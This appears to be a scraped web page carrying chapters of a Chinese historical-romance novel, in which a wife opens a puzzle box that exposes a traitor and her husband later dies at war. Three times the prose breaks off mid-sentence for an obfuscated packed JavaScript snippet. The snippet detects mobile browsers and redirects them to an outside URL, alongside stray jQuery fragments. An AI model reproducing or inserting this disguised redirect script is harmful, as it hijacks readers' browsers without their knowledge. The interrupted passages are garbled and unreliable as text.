李妙仪深吸一口气,净手后,才郑重地将木盒捧到面前。她不急于动手,先凝神观察,指尖极轻地拂过盒面,感受木质的纹理与温度,侧耳倾听里面极其细微、几乎不可闻的机括咬合声。 阳光移动,照亮她低垂的眉眼,那专注的神情,仿佛全世界只剩下眼前这个盒子。 郑淮舟靠回椅背,目光落在妻子身上。他见过她弹琴作画的优雅,见过她待人接物的聪慧得体,也见过她惊惶柔弱、顺从忍耐的模样,却从未见过她像此刻这样,沉浸在纯粹探索与解谜中的神情。 那双总是蕴着复杂情绪的杏眼,此刻清澈明亮,闪着近乎锐利的光。 郑淮序坐在稍远的地方,静静看着。安阳公主也曾在他面前,为了一副九连环或一个鲁班锁,露出这般心无旁骛、神采奕奕的模样。 那时的阳光,似乎也这样温暖明亮。 时间在寂静中流逝,只有炭盆偶尔噼啪作响,以及李妙仪指尖极轻地叩击、摩挲木盒不同部位发出的细微声响。 她额角渐渐沁出细密的汗珠,顺着白皙的脸颊滑落,她也浑然不觉。时而蹙眉深思,时而若有所悟,指尖的动作越发轻盈而笃定,沿着那些细微的缝隙,以独特的节奏或压或按,或推或旋。 郑淮舟几次想开口让她歇歇,但看见她眼中那种不容打扰的执着光芒,话到嘴边又咽了回去。 一个多时辰后,李妙仪的动作忽然停了。她闭上眼,长长吐出一口气,仿佛在脑海中完成最后一次推演。然后,她睁开眼,双手同时按在木盒两侧几个看似毫无关联的凸起上,以特殊的角度和顺序,或轻或重地按下、旋转。 “咔、咔、咔……” 一连串极轻微却清晰无比的机括转动声从盒内传出,在寂静的营帐中格外分明。 郑淮舟与郑淮序同时坐直了身体,目光紧紧锁住木盒。 最后一声轻响,宛如锁钥归位,那严丝合缝的盒盖,悄无声息地向上弹开了一道缝。 没有预想中的箭矢毒烟射出,也没有任何异响。 李妙仪用指尖轻轻掀开盒盖。 里面,平平整整地躺着几封折叠好的信笺,纸张泛黄,显然有些年头。信笺上方,压着一枚黝黑的令牌,非铁非木,上刻狰狞狼头,狼眼处嵌着暗红的细小宝石,幽光微泛。 郑淮舟霍然起身,大步上前,他先谨慎地检查了盒内再无机关,才取出信笺,展开一看,上面的文字歪歪扭扭,并非中原文字。 “是北戎文。”郑淮序也已走近,沉声道,脸色凝重。 郑淮舟立刻扬声道:“来人!请刘参军速来!” 等待的时间显得格外漫长,李妙仪仍坐在原地,看着郑淮舟手中的信纸,心潮起伏。她解开了盒子,却不知放出了怎样的秘密。 片刻,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164858|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位四十余岁、面容儒雅却身着戎装的参军疾步而入,行礼后接过信件。 营帐内落针可闻,只有刘参军翻阅信纸的沙沙声。他看得极慢,眉头越皱越紧,额角甚至渗出了冷汗。随着阅读深入,他的脸色渐渐发白,拿着信纸的手也开始微微发抖。 终于,他放下最后一封信,抬起头看向郑淮舟,嘴唇哆嗦着,眼中满是惊骇与难以置信:“将、将军……这……这是……” “直说。”郑淮舟声音沉冷,已预感到不祥。 刘参军扑通跪倒在地,声音发颤:“禀将军,信中所述,是朝中一名重臣与北戎王庭往来的证据!不止一处边防兵力调配、粮草转运路线被泄露,更有他们约定,待北戎今冬休整完毕,将里应外合,举兵大举南侵的谋划!” “是谁?”郑淮舟的声音冰寒刺骨,周身杀气弥漫。 刘参军伏低身子,几乎不敢抬头,从牙缝里挤出几个字:“依其所述职权、往来细节,恐是兵部侍郎王宣之!” “王侍郎?!”郑淮序满脸震骇。 李妙仪也捂住了嘴,瞳孔骤缩。 王宣之出身寒门,一步步走到今天的位置,是许多求仕之人的楷模,竟是通敌卖国之人? 郑淮舟追问:“可有伪造的可能?” 刘参军咬牙答道:“信末有北戎王庭狼头密印,与这令牌可相互印证,绝非伪造!” 营帐内死一般寂静,空气仿佛冻结,炭火盆的光映在几人脸上,明明灭灭,如同他们此刻惊涛骇浪般的心绪。 郑淮舟最先恢复冷静,他一把收起所有信件与令牌,声音斩钉截铁,带着不容置疑的威严:“刘参军,今日所见所闻,若有半字泄露,军法处置!” “末将明白!末将以性命担保!”刘参军冷汗涔涔。 “伯章!”郑淮舟转向弟弟,语速极快,“你即刻持我令牌,调一队绝对可靠的黑甲卫,秘密包围王侍郎的府邸,许进不许出,我马上进宫面圣!记住,动作要快,更要隐秘,在他察觉之前,务必控制所有可能销毁证据之人!” “是!”郑淮序肃然领命,眼中锐光闪动。 郑淮舟安排妥当,这才转身,看向仍坐在那里、脸色苍白的李妙仪。他大步走到她面前,直接将她从椅上拉起来,带入怀中,手臂坚实有力,紧紧环住她的腰。 李妙仪尚未从巨大的震惊中完全回神,已落入他温热而带着凛冽气息的怀抱。 片刻后,郑淮舟的声音响起,确保帐中每个人都能听见:“令言,你做得很好,此事你当居首功。” 说罢,他松开她,转而握住她的手,对一旁垂首肃立的亲兵队长吩咐:“派人护送少夫人回国公府,沿途加派人手,务必确保安全。回府后,没有我的命令,夫人不得出府,也不得见任何外客。” 这是保护,在真相大白前,防止任何意外或灭口。 言毕,兄弟二人一前一后,大步流星地走出营帐,身影很快消失在冬日苍白的阳光里,奔赴各自的战场。 帐内,李妙仪独自站着,脑海中却余下一片空茫的恍惚,以及那信件内容带来的、深入骨髓的寒意。 通敌叛国,里应外合,举兵南侵,每一个字都重若千钧。 郑淮序在随兄长远去前,最后回望了一眼营帐方向,帐帘已落,隔绝了视线。 他脑海中闪过的,是李妙仪解开机关盒时那灿若星辰的眼眸,是她此刻或许苍白怔忡的脸,也是兄长临去前那充满占有意味的拥抱。 掩去所有情绪,转身跟上兄长的步伐。 他还不知道,今日的一切,在不久的将来,会化作怎样锋利的回旋镖,猝不及防地刺入各自的命运。 而盛京的天,随着这个被意外解开的机关盒,已然开始风云变色。 10. 出征 战争的号角已然吹响,皇帝任命郑淮舟挂帅出征,整装待发,三日后便要开赴边境御敌。 郑淮舟从兵部脱身回府时,已是掌灯时分,国公府内气氛沉郁,连廊下灯笼的光都显得比平日黯淡。 国公爷坐在正厅太师椅上,盯着手中茶盏出神,夫人则在一旁默默垂泪。见长子归来,老两口强打精神,却掩不住眼中忧色。 “回来了?”国公爷放下茶盏,声音有些哑,“都安排妥当了?” “是。”郑淮舟解下披风,“粮草军械三日内齐备,各部兵马已在城外集结。” 国公夫人用帕子按了按眼角,起身道:“先用膳吧,厨房备了你爱吃的。” 一顿晚膳吃得沉闷,席间只闻碗箸轻碰之声,偶有国公夫人为儿子夹菜,低声嘱咐些“多加衣”“莫逞强”的话。 郑淮舟一一应下,目光却不时飘向对面安静用饭的李妙仪。 她今日穿了身藕荷色襦裙,发间只簪一支素银簪子,低眉顺眼,与平常并无二致。可郑淮舟就是觉得,她比刚嫁进来时更瘦了些,下巴尖了,眼下也有淡淡青影。 膳后,国公夫人推说乏了,催他们早些回房歇息。话虽未明说,那份“能多待一会儿是一会儿”的心意,却清清楚楚写在眼里。 回到院落,李妙仪径自去了浴房。郑淮舟在书房坐了会儿,处理了几封军中信件,待听得那边水声停了,才起身过去。 她正从屏风后转出来,一身月白寝衣,湿发披在肩头,发梢还滴着水。见他立在门前,脚步微微一顿。 “我来。”郑淮舟走上前,很自然地牵了她的手,将她带到梳妆台前按坐下去。 “我自己……”她的话被他打断。 “让我来。”声音不高,却不容拒绝。 他站在她身后,取了干燥的软巾,捧起那湿发擦拭。动作起初有些生硬,很快便熟练起来,力道不轻不重,一寸寸拭去发间水汽。 铜镜里映出两人的影子,烛光摇曳,将影子投在墙上,模糊了边界。 李妙仪静静坐着,目光落在镜中他专注的眉眼上。这个在沙场上令敌人闻风丧胆的男人,此刻正小心翼翼地替她擦拭头发,粗粝的指腹偶尔划过她颈后肌肤,带起一阵细微的战栗。 擦至半干,他又打开妆台上的白玉盒,挖了块香膏在掌心焐热,然后均匀抹在她发梢。是兰花的香气,清雅温和,在空气中缓缓散开。 最后,他执起那把雕花玉梳,从发根缓缓梳至发尾,一遍又一遍,极有耐心。梳齿划过头皮的感觉令人放松,李妙仪不自觉地微微合眼。 便宜丈夫还有这等用处? 她莫名想到从前宫里那些手艺绝佳的宫婢,梳妆打扮、熏衣理容,样样精通,也不知没了她这位主子,她们被分派到哪处宫殿去了。 想起昔日锦绣堆砌的生活,再看如今虽不寒酸却也简朴的用度,她不由得轻叹一声。 单纯的公主此时尚不知道,安阳公主意外身死,牵连甚广,她宫中那些仙娥美婢,早已随主殉葬,化作黄土一抔了。 听见叹息,郑淮舟手上动作一顿,从镜中看她:“弄疼了?” “没有。”她摇头,“想起些旧事罢了。” 郑淮舟却以为她是嫌他伺候得不好,语气里竟带了几分不易察觉的委屈:“我手笨,比不得你用惯的人。” 这话说得突兀,李妙仪抬眼看向镜中的他,见他神色如常,仿佛只是随口一提,才道:“你手法很好,行了吧?” 这本是句客套话,郑淮舟听了,唇角却微微扬起,他放下玉梳,双手忽然扶住她的肩。李妙仪还未反应过来,整个人已被他从凳子上抱了起来! “你——”惊呼声刚出口,她已被轻轻放在梳妆台上。 郑淮舟挤进她双膝之间,额头抵着她的肩,整个人几乎伏进她怀里。温热的呼吸透过薄薄寝衣熨贴肌肤,这个姿势太过亲密温存,李妙仪浑身僵住,双手悬在半空,不知该往哪里放。 “别动。”他此刻像只收起利爪的大型兽类,在她怀中寻求片刻安宁,“就让我这样待一会儿。” 比起那些直白强势的亲吻,她更怕这样的拥抱。亲吻尚可理解为占有或欲望,可这样全然依偎的姿态,却像是在索求某种更柔软的东西,那是她给不起,也不敢给的。 郑淮舟感受到她身体的僵硬,心头那点欢喜渐渐凉了。他抬起头,看着怀中女子紧绷的侧脸,烛光在她长睫上投下浅浅阴影,这张脸美则美矣,却像罩着一层看不见的壳。 他有时会怀疑,这女子的心是不是铁做的,他舍下面子讨好她数月,竟未能将其捂热半分。 上了心后,他暗中查过崔家,知道她在那样的家庭长大,对人有戒心在所难免。他总想着,用一腔热忱总能换来她的侧目,哪怕只是一点点松动。 可如今,他要走了,战场之上,生死难料。 郑淮舟忽然没了旖旎心思,若他真有万一,她怀了子嗣怎么办?将来孤儿寡母,在这深宅大院里,何其艰难。国公府虽能庇护,可终究不是她的血脉至亲;公婆再慈爱,也抵不过亲生父母。 想到这里,郑淮舟眼眶微热,他在心中自嘲:仗还没打,倒先惦记起身后事了。 他直起身,双手捧住她的脸,拇指轻轻摩挲她的脸颊。李妙仪被迫与他对视,看到他眼中翻涌的复杂情绪,有不舍,有担忧,还有一种她看不懂的深沉。 “令言,”他唤她的名字,“我这一去,不知何时能归,你……” 他顿了顿,似乎不知该如何说下去,最终松开了手,从怀中取出一个锦盒,递到她面前。 李妙仪怔了怔,接过来打开。里面躺着一支白玉簪,簪身素净,只在顶端雕了朵半开的玉兰,雕工不算顶尖,却自有一股朴拙的意趣。 “我自己雕的,料子是从前在北境得的羊脂玉,听说能养人。”他故作轻松地笑了笑,“留着吧,来日也好睹物思人。” 这话说得直白,李妙仪一时不知如何接,她沉默地看着那支玉簪,指尖抚过温润的玉质。半晌,才轻轻“嗯”了一声,将锦盒合上,放在妆台上。 她打开自己的妆匣,翻找片刻,取出一枚叠成三角的平安符,明黄绸布缝制,上面绣着梵文。 “母亲前日去大相国寺求来的。”她将平安符递给他,“她说让你随身带着,保平安。” 郑淮舟接过那枚小小的符,掌心传来绸布的柔软触感。 “还有,”李妙仪咬了咬唇,声音更轻了,“刀剑无眼,你万事小心。” 话音落下,郑淮舟忽然向前一步,将她紧紧拥入怀中。这个拥抱不同以往,没有情欲,只有沉甸甸的不舍与 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郑淮序亦是一身戎装,他此番任京畿卫戍统领,负责盛京防务,不与兄长同赴前线。兄弟二人对视一眼,一切尽在不言中。 李妙仪发间簪着那支白玉兰簪,晨风吹起她的裙摆,她静静望着郑淮舟,目光平静,看不出太多情绪。 郑淮舟最后看了她一眼,翻身上马,骏马嘶鸣,他勒紧缰绳,调转马头,朝着城门方向驰去。 大军出城之际,盛京万人空巷,百姓夹道相送,旌旗猎猎,甲胄鲜明,马蹄声、脚步声、兵刃碰撞声汇成一片肃杀的洪流。 城墙之上,李妙仪凭栏而立,她目送着那支军队渐行渐远,最终化作天地交界处一道模糊的黑线。 从前读史书兵策,总觉得将军威武,浴血杀敌是何等壮怀激烈。如今亲眼见这千军万马开赴沙场,心中涌起的却是另一番滋味。 若能安稳度日,谁又愿过这动荡不安、生死难料的年月? “嫂嫂,风大了,回吧。”郑淮序不知何时来到她身侧。 李妙仪转头看他,点了点头。两人一同走下城楼,马车已在等候。 回府的路上,车内一片寂静。李妙仪靠着车壁,闭目养神,郑淮序坐在对面,目光几次掠过她发间那支玉簪,最终又移开。 “大哥此去,少则数月,多则经年。”他忽然开口,“府中诸事,嫂嫂若有需要,可随时差人寻我。” 李妙仪睁开眼,看向他:“有劳二郎。” “另外,”郑淮序顿了顿,声音压低几分,“王侍郎一案,虽证据确凿,但朝中仍有其党羽暗中活动。大哥临行前嘱咐,府中需加强戒备,嫂嫂平日若无必要,尽量少出门。” 李妙仪心中了然,王宣之收监待审,牵一发而动全身,那些与他有关的势力,未必甘心就此罢休。郑淮舟此番挂帅出征,若战事顺利,功勋加身,郑家地位将更加稳固;可若战事不利,那些暗中窥伺之人,必会趁机反扑。 “我明白。”她轻声应道。 马车停在国公府门前,郑淮序先行下车,伸手欲扶她。李妙仪迟疑一瞬,将手轻轻搭在他腕上,借力下了车。 指尖相触的刹那,两人都微微一僵。郑淮序迅速收回手,退后半步:“嫂嫂请。” 李妙仪垂眸,提裙步入府中。 11. 噩耗 日子在焦灼的等待中一天天捱过。 边关战报不时传来,时好时坏。郑淮舟用兵如神,初时几场战役皆告捷,朝中一片欢腾。可北戎此番南侵筹备多年,兵强马壮,后续战事逐渐胶着。 国公府中,气氛随着每一封战报起起落落。 国公夫人日日念佛,那尊从寺庙请来的白玉观音像前,香火从未断过。国公爷则时常在书房中对着那幅巨大的北境舆图沉思,一站就是半天。 李妙仪大多时间都待在自己的院落中,她开始做一些从前不会做的事,或者说,是“安阳公主”不会做,“崔令言”却可能会做的事。 比如,亲自打理那几盆陪嫁的兰花,原本一直由花匠照料,如今她得了空,便学着浇水、修剪、换土。 再者,向府中那位曾在江南茶庄待过的老仆请教烹茶之道。火候、水温、冲泡的时辰,一样样学来,竟也渐渐能点出一盏清润的茶汤。 更多时候,则待在书房,翻阅郑淮舟留下的兵书舆图。那些山川地势、排兵布阵的图示旁,常有他留下的朱批小字,笔锋凌厉如刀,批注得极为细致。 前线如火如荼,盛京尚且太平。秋意渐浓时,崔家突然派人来传话,说柳氏重病缠身,已卧榻数日。 李妙仪看着那张字迹潦草的帖子,心中无波无澜。这年头不孝的罪名足以压垮一个女子,属于“崔令言”的本分还得尽。 她压下心头那点厌恶,吩咐管家备了礼品药材,带着青鸾回了崔家。 崔府仍是那副乌烟瘴气的样子,门房老仆见是她,懒洋洋地通报,连个引路的人都没有。穿过庭院时,听见两个洒扫的婆子躲在廊柱后嚼舌根: “听说老爷在外头那个……有了身子。” “作孽哟,夫人还病着……” “那两个少爷呢?怎不见侍疾?” “昨日还见他们从赌坊出来呢,啧啧。” 青鸾气得脸发白,怒声道:“夫人,他们……” “无妨。”李妙仪脚步未停,面色平静,“早该料到的。” 进了内室,药味扑鼻。柳氏正躺在榻上,面黄肌瘦,眼窝深陷,全然没了往日精致的模样。见女儿进来,她眼睛亮了亮,挣扎着要起身。 “母亲躺着吧。”李妙仪面不改色,在榻边的绣墩上坐下,“可好些了?” 柳氏喘着气,未语泪先流:“令言啊……你可算来了……这家里,没人管你母亲的死活……” 李妙仪静静看着她哭,等她哭声渐歇,才开口:“父亲呢?” 柳氏脸色一僵。 “两位弟弟呢?” 柳氏嘴唇哆嗦起来。 李妙仪轻轻掸了掸衣袖:“母亲可听说了?父亲在外头置办宅子,养的人还有了身孕。难不成父亲是觉着家里这两个号练废了,准备在外头养小号?” “你!”柳氏瞪大眼睛,像是第一次认识这个女儿,“你怎能这样说话?!” “那该怎样说?”李妙仪看着她,“说母亲贤惠大度,说弟弟们刻苦用功,说父亲顾念旧情?母亲,这话您自己信吗?” 柳氏被噎得说不出话,指着她直哆嗦,忽然悲从中来,放声大哭。那哭声着实凄厉,听着有几分绝望。 门外的嬷嬷闻声连忙进来,一面给柳氏顺气,一面对李妙仪使眼色:“小姐少说两句吧,夫人这病是心中郁结,大夫说了不能动气。” 李妙仪移开眼,她方才问过大夫,柳氏这病确实是积郁成疾,心火攻心。可她就是忍不住,看着这个曾经将崔令言当作筹码的母亲,那些压在心底的话就冲了出来。 待柳氏平静下来,已是筋疲力尽,她靠在枕上望着女儿,眼神复杂,良久才道:“你这孩子嫁了人,倒像变了个人。” 李妙仪不答。 柳氏叹了口气,又忍不住絮叨起来:“女人这一辈子,终究是要靠丈夫、靠儿子的。你如今虽嫁得好,可姑爷出征在外,生死难料。你更要小心侍奉公婆,多攒些体己,将来也好……” “母亲。”李妙仪打断她,“我想要的东西,自会去争,犯不着在他人身上处心积虑,更不必仰人鼻息。” 柳氏怔住了,她看着眼前的女儿,脊背挺直,目光清明,那股从骨子里透出的从容与底气,是过去的崔令言从未有过的。 仿佛一只挣脱牢笼的鸟儿,飞向了更广阔的天空,羽翼渐丰,光彩照人。 柳氏喃喃道:“你真不像我的女儿了。” 李妙仪起身,行了一礼:“母亲好生休养,缺什么便让人去国公府传话。女儿改日再来看您。” 走出崔府时,秋阳明澈,天色正朗。她立在石阶上,深深吸了一口气,积压胸中许久的那股郁结,终于散了。 马车一路往回走,行至半途,车身猛地一震,骤然停住。 车夫察看后慌忙回报:“少夫人,车轴裂了,一时怕是走不了了。” 天色渐渐暗了下来,此处离国公府尚有一段距离,青鸾急得转来转去,李妙仪却神色平静,只吩咐道:“派人回府报信便是。” 正说着,一阵马蹄声由远及近。一队巡城官兵路过,为首之人银甲黑袍,身姿挺拔,正是郑淮序。他一眼认出国公府的马车,勒马上前:“嫂嫂?” 听明缘由,郑淮序立即命手下寻来一辆完好的马车,又亲自护送李妙仪回府。 一路上两人无话,只闻马蹄声声,到了府门前,李妙仪下车,客套道:“二郎可要进府用膳?” “公务在身,改日吧。”郑淮序在马上拱手,“嫂嫂慢行。” 李妙仪微微颔首,转身入府,几步之后,她却忽然停住,回身望去。 郑淮序已策马远去,身影没入长街尽头。秋风吹起他玄黑的披风,宛若孤云一片,飘向暮色深处。 他们之间,除了公主案的必要交谈,便一直保持着客气与疏离。可不知为何,她心里却像被什么堵着一般,闷闷的,落不到实处。 又过了半月。 这日午后,李妙仪在院中翻看一本北境风物志,正读到“落雁关”一节,旁书:“关险地要,一夫当关,万夫莫开。然若被困,亦是绝地。” 手指在那行字上停留许久。 侍女轻步进来,低声禀报:“少夫人,二公子来了,正在花厅与夫人说话,问您可要过去。” 李妙仪合上书,心中莫名一紧,郑淮序平日来请安,从不会特意问她。她换了身衣裳,赶到花厅。 一进门,便觉气氛凝重。 国公夫人坐在主位,眼眶通红,郑淮序立于下首,眉宇间压着浓重的阴影。见她进来,他沉声开口:“嫂嫂。” “二郎。”李妙仪福了福身,转向国公夫人,“母亲,怎么了?” 国公夫人握着帕子的手抖得厉害,郑淮序深吸一口气:“刚传来的八百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164860|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里加急,北戎增兵十万,大哥他们被围困在落雁关了。” 花厅里静得能听见呼吸声。 落雁关——绝地。李妙仪怔在原地,方才书页上的字句骤然变得滚烫,粮草、箭矢、伤亡……所有问题堵在喉间,她却只听见自己平静的声音:“消息确实?” “军报无误,朝廷已调遣援军,可最快也要十日才能抵达。” 十日,被十万大军围困,意味着什么,在场的人都清楚。 国公夫人再也忍不住,捂着脸痛哭出声,那哭声嘶哑破碎,像一根针扎进每个人心里。 李妙仪上前扶住她的肩,言语苍白:“母亲莫急,世子向来用兵谨慎,选择固守落雁关,必有他的道理。援军既已出发,我们安心等候便是。” 郑淮序深深看了她一眼,须臾便告辞:“军务在身,母亲保重,一有消息,儿子即刻来报。” 安抚婆母服下安神汤睡下后,她独自站在窗前。秋风扑簌,吹动窗纸,她忽然想起郑淮舟出征前夜,那个依偎在她怀中寻求温暖的瞬间。 她或许始终未能对他生出男女之情,可重生以来,是他予她安稳,待她以诚,让她在这世间暂得心安。即便不是夫君,他也是活生生的人,会笑会怒,会在灯下为她绾发,会在沙场上挥斥方遒。 而现在,这个人被困绝地,生死未卜。 接下来几日,国公府笼罩在一片死寂的阴云中。战报断绝,落雁关音讯全无,朝中流言四起,有说郑淮舟已殉国,有说落雁关已破,更有甚者开始暗中串联,准备弹劾郑家“作战不力”“贻误军机”。 郑淮序连日奔走,既要稳住京畿防务,又要应对朝中明枪暗箭,眼下一片青黑,人也迅速清减。 这日他来请安时,李妙仪看着他疲惫的面容,忍不住道:“你也要保重身体。” 郑淮序微怔,唇角牵起一丝极淡的弧度:“谢嫂嫂关心。” 两人立于廊下,秋风吹过,庭中银杏叶纷飞如蝶,金灿灿铺了一地。 他忽然道:“大哥出征前,曾与我深谈。”他顿了顿,“他说,若他回不来,要我护你周全。若你想离开郑家,便助你去过自己想过的日子。” 李妙仪呼吸一滞。 “他是真的将你放在了心上。”郑淮序看着她,目光是她未曾见过的认真。 她别开眼,望向满庭落叶,未作回应。 正沉默间,一阵急促的马蹄声由远及近,在府门前猛然止住。紧接着是慌乱的脚步声、管家的惊呼、门房杂乱的叫喊。 一个满身尘土的传令兵跌跪入院,手中军报沾着暗红污渍,嘶哑的喊声撞碎了最后一丝平静:“落雁关急报!大雍险胜!” 喜悦还未展露,下一句又推向了低谷:“但是……郑将军率部突围,中箭坠马……以身殉国了……” 时间骤然静止。 银杏叶仍在飘落,一片,两片,缓缓落在传令兵颤抖的肩头,落在李妙仪月白的裙裾上,落在郑淮序倏然惨白的面前。 李妙仪看着裙角那片叶脉分明的金黄叶子,忽然想起郑淮舟送她的那支玉兰簪。 他说:“留着吧,来日也好睹物思人。” 那时她觉得这话太直白,太沉重。如今才明白,有些话一旦说出口,就成了谶。 风卷起漫天落叶,纷纷扬扬,如天地无声的挽歌。 而那个人,再也回不来了。 12. 丧仪 国公府的丧仪办得极尽哀荣,黑幡白幔挂满了府门内外,灵堂里香烟缭绕,诵经声昼夜不绝。落雁关陷,尸骨无存,棺中不过是些衣冠旧物,象征性地填了些香料木屑,聊作慰藉。 国公夫人一病不起,国公爷强撑着主持大局,不过几日也倒下了。偌大府邸里外,全靠李妙仪与几位管事苦苦支撑。 “少夫人,歇一会儿罢。”青鸾端着参茶进来,“您两日未曾合眼了。” 李妙仪接过茶盏,暖意随着几口热茶渐渐渗入四肢。她确实累极了,可一躺下便辗转反侧,直至天明。 青鸾轻轻为她揉着肩颈,半晌低声道:“外头来了许多人,宫里几位殿下都到了,崔家老爷和夫人也来了。” 如今她顶着崔令言的皮囊,须为她的夫君守灵。而门外那些曾想方设法攀附公主的权贵,此刻恐怕正等着对这位“新寡”施以怜悯。 “更衣罢。”她放下茶盏。 换上重孝,素衣如雪,腰间系着麻绳。铜镜中的女子面色苍白,唯独那双眼睛,澄澈明亮。 灵堂外已候满了人。 她一眼便看见站在最前的三皇子李承玦,她的三哥。他正与礼部官员低语,眉头微蹙,神情肃穆,人也清瘦了些。想来安阳“故去”后,他这个曾与公主最亲近的胞兄,日子亦不好过。 李承玦似有所觉,抬眼望来。四目相接时,他眼中掠过一丝讶异,随即化为恰到好处的哀悯,朝她微微颔首。 李妙仪垂下眼帘,屈膝行礼。 “世子夫人节哀。”李承玦的声音温和而疏离,“郑将军为国捐躯,忠烈千秋,父皇深为痛惜,特赐谥号‘忠武’,追封镇国公。” “谢陛下隆恩,谢殿下亲临。”李妙仪低声应下,不再多言。 吊唁者络绎不绝。朝臣、勋贵、武将、文官……一张张或熟悉或陌生的脸从眼前晃过。有人真红了眼眶,有人假意拭泪,更多的则是在打量,打量这位新寡的将军遗孀,掂量着她与郑家往后的价值。 崔弘与柳氏也来了。柳氏病未痊愈,由两个嬷嬷搀着,一进灵堂便哭天抢地,不知情的还道她有多疼这女婿。崔弘则面色沉痛,与同僚寒暄时,不忘叹几句“小女命苦”“家门不幸”。 李妙仪面无表情地看着这场戏。 直到柳氏扑到她跟前,一把攥住她的手腕,压着嗓子泣道:“我苦命的儿啊……” 那力道极大,指甲几乎掐进肉里。 李妙仪冷冷抽回手:“母亲保重身子,请起罢。” 柳氏一愣,显然没料到她是这个反应,讪讪地退到一旁。 吊唁持续了整整一日,李妙仪跪在灵前还礼,膝盖早已麻木,腰背酸疼欲折,耳畔嗡嗡作响,人影渐渐模糊重叠。 “嫂嫂。”一个低沉的声音在身侧响起。 郑淮序不知何时走了进来,一身玄黑孝服,眼下淤青深重,背脊却挺得笔直,如一柄入鞘的剑,锋芒尽敛,寒意隐现。 “二郎。”她哑声回应。 郑淮序的目光在她脸上停留一瞬,转身走向灵前,郑重叩了三个头。 起身后,他对她道:“外头差不多了,嫂嫂去后堂歇息片刻,此处交给我。” 李妙仪没有逞强,扶着青鸾的手站起来,双腿一软,差点栽倒。 “小心。”郑淮序下意识伸手欲扶,指尖触及她衣袖的刹那却又顿住,收了回去。 后堂终于清静下来。 李妙仪坐在偏厅圈椅中,青鸾替她揉着僵硬的膝盖,口中低念,满是怜惜。窗外天色已暗,灵堂诵经声随晚风隐隐传来,呜呜咽咽,恍如哀泣。 门帘轻响,郑淮序走了进来,他先屏退旁人,方沉声道:“有几句话,需与嫂嫂说明。” 李妙仪抬眼看他。 “大哥殉国,家门蒙难。”他的声音平静得近乎冷酷,“如今父亲病倒,母亲哀恸过度,朝中暗流涌动……” “北境之仇,兄长之恨,我必亲手了结。”他顿了顿,字字咬得沉重,“也请嫂嫂再忍耐些时日,谨守本分,安守内宅。” 崔令言年纪尚轻,未必愿意守寡,眼下郑家,再经不起任何风波。 李妙仪望着这个曾在她面前锋芒毕露、不甘示弱的少年。如今那双眼里只剩深不见底的寒潭,所有情绪皆被压抑封存,唯余责任与恨意,铸成一身无形铠甲。 他的话,像一道无形的枷锁,悄然套上她的脖颈。 安阳公主可以任性,可以跋扈,可以不顾世人眼光。可崔令言不行,郑家的寡媳更不行。风口浪尖之上,她必须成为一座贞节牌坊,一个“安守内宅”的未亡人。 一股剧烈的情绪猛地冲上胸口,她张了张口,想说什么,眼前却骤然一黑。 “嫂嫂!”郑淮序的声音近在耳畔,罕有地透出惊急。 她落入一个坚实的怀抱,额角无意识抵在他颈侧,呼吸拂过锁骨。 郑淮序浑身僵硬,怀中人轻得过分,孝衣下的身躯纤细单薄,仿佛稍用力便会折断。 “去请大夫!”他厉声下令,抱起她疾步向后院走去。 回廊下灯火昏黄,行走间,她散落的一缕发丝缠上他胸前盘扣,随着动作轻轻牵扯。昏迷中她低咛一声,侧脸在他肩头轻蹭,寻了个更安稳的姿势。 他脚步几不可察地一顿,臂弯不自觉收紧了少许,随即又像被灼烫般微微放松。 踏入她所居的院落,踢开房门,一股冷梅幽香扑面而来,他将她小心安置在床榻上,立即直身后退一步。 目光却在这一退之间,扫过屋内陈设,这是大哥与她的卧房。 窗边妆台上,玉簪与胭脂盒散置;衣架上除了男子外袍,还搭着一件水红绸缎寝衣,泛着柔润光泽;屏风边缘,依稀露出一角月白小衣的系带。 郑淮序视线如触火般倏地移开,耳根发热。 这不是他该窥见的地方。 李妙仪睁开眼时,郑淮序正立在书架前。昏暗光线下,他的背影显得格外孤直,也格外沉重。 “二郎。” 郑淮序身形微顿,转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164861|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,面上已恢复平静。 “嫂嫂醒了。”他走回床边,“大夫即刻便到。这几日嫂嫂操劳过度,务必好生静养。” 李妙仪撑着想坐起来,一阵眩晕袭来。郑淮序下意识扶住她的肩膀,掌心温热透过单薄孝衣传来,两人俱是一僵。 他立刻撤手后退,动作快得有些仓促。 “多谢。”李妙仪靠坐床头,“你方才的话,我听见了。” 郑淮序沉默地看着她。 “我明白你的意思。”她抬眼,目光平静地与他对视,“郑家正值多事之秋,内外皆需稳妥,我会做好本分,不给府里添乱。” 她的语气太过平静,平静得让郑淮序微微蹙眉。 